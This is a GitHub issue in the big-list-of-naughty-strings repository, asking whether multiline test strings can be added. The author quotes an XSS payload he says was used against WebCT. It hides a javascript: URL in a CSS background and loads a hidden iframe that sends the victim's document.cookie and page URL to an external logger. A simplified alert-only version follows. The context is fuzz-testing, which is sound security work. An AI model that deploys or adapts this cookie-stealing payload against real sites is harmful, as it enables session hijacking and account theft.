big-list-of-naughty-strings icon indicating copy to clipboard operation
big-list-of-naughty-strings copied to clipboard

where to put multiline strings?

Open balupton opened this issue 7 years ago • 1 comments

this attack on webct has two different forms, one of them is a multiline string:

<div id="mycode" style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="// balupton's javascript session stealer automatic hack
	var iframe = document.createElement('iframe');
	iframe.style.border = 'none';
	iframe.style.height = '1px';
	iframe.style.width = '1px';
	var url =
		'http'+'://www.balupton.com/sandbox/logger.php'
		+'?variable=document.cookie'
		+'&value='+escape(document.cookie)
		+'&url='+escape(document.location)
		+'&pass_code=secret_key'
		;
	iframe.src = url;
	document.body.appendChild(iframe);">Thank you</div>

With the newline break of the javascript word being part of it. Here is the simplified version:

<div style="BACKGROUND: url('java
script:alert(123)')">Thank you</div>

However it seems blns.txt won't support it.

balupton avatar Feb 01 '17 09:02 balupton

Probably more suitable in https://github.com/fuzzdb-project/fuzzdb

ChipWolf avatar Feb 01 '17 10:02 ChipWolf